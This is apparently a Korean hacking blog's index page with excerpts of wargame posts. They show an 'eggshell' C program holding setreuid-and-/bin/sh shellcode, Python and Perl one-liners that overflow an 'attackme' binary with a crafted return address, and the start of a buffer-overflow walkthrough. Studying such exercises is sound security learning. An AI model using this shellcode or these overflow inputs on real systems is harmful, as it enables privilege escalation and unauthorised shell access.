일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 해킹
- 성남 코로나 확진자
- 이태원 클라쓰 15회 예고
- 불가피
- 제넥신
- 김재석
- 은혜의 강 교회
- 성남은혜의강교회
- 폰폰테스트
- 홍혜걸
- 리리남매
- 김영권 아내
- 킹덤 고근희
- 이지혜
- 이상형 만들기
- 학교 개학 연기 4월
- 최강욱
- 양적완화
- 뭉쳐야 찬다
- libtins
- 픽크루
- 유튜버 김재석
- 조희연
- 금리인하
- 고민정
- 스페인 코로나
- 임영규
- 미국 금리인하
- 스콜피온킹
- 김영권
- Today
- Total
목록전체 글 (256)
Dork's port
환경 변수 등록 및 쉘 실행 //eggshell.c #include #define _OFFSET 0 #define _BUFFER_SIZE 512 #define _EGG_SIZE 2048 #define NOP 0x90 char shellcode[] ="\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; unsigned long get_esp(){ __asm__ __volatile__("movl %e..
까먹을 것 같아서 정리해둡니다. 프로그램에서 인자를 전달 받는 방법은 2가지가 있는데 프로그램 실행시 동시에 입력받는 argv 및 프로그램 실행 후 코드내에서 gets나 scanf를 이용하여 받는 방법이 있습니다. 이때 268개의 A와 0xdeadbeef의 인자를 attackme라는 프로그램에 전달한다고 가정 하겠습니다. #프로그램 실행시 인자 전달 방법(argv) Python $ ./attackme $(python -c 'print "A"*268 + "\xef\xbe\xad\xde"') Perl $ ./attackme $(perl -e 'print "A"x268 . "\xef\xbe\xad\xde"') #프로그램 실행 후 인자 전달 방법(gets, scanf 등) Python $ (python -c '..
안녕하세요! 11번입니다! 이 문제는 풀기는 쉬웠으나, 개념을 이해하는데 참 오래걸린 문제입니다. 따라서 제가 설명하는게 틀릴 수 도 있으므로 틀리다면 말씀부탁드립니다. 우선 늘 그렇듯 힌트부터 볼께요! 이제는 소스코드만 하나 휙 던져주네요.. 알아서 하라는 이야기죠.. 보면 이전 문제와는 달리 이번엔 어떠한 문자열을 비교해서 쉘을 실행시켜 주지도 않네요.. 점점 불친절... 그러나 파일을보면 아무 조건없이 setreuid를 걸어주었으니 그것만으로도 감사해야 겠네요. 자 그러면 여기서 새로운 개념이 필요합니다! 바로 BOF의 기초가 되는 Return Address를 조작하는 것 인데요! 그것 뿐만아니라 Return Address에 가면 /bin/sh 이 실행되도록 하는게 이번 문제의 숙명입니다. 일단 실..